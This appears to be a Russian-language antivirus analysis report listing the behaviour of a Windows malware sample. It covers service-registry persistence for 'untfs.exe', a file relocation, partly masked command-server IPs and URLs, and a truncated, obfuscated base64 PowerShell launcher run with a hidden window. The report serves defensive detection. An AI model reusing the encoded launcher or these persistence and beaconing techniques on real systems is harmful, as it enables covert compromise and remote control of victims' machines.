Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\untfs] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\untfs] 'ImagePath' = '"%WINDIR%\SysWOW64\xactengine3_0\untfs.exe"'
- 'untfs' "%WINDIR%\SysWOW64\xactengine3_0\untfs.exe"
- 'untfs' %WINDIR%\SysWOW64\xactengine3_0\untfs.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9AC...
- %HOMEPATH%\849.exe
- %WINDIR%\syswow64\xactengine3_0\untfs.exe
- %HOMEPATH%\849.exe в %WINDIR%\syswow64\xactengine3_0\untfs.exe
- '14#.#05.151.124':443
- http://nw##vcs.com/cgi-bin/uz6_qs8_qr/
- http://14#.##5.151.124:443/Gic9/TpNTc/4nG9Ce0QGFTTPfZ/p4JC/0EA0J/ via 14#.#05.151.124
- DNS ASK nw##vcs.com
- '%HOMEPATH%\849.exe'
- '%WINDIR%\syswow64\xactengine3_0\untfs.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9AC...' (со скрытым окном)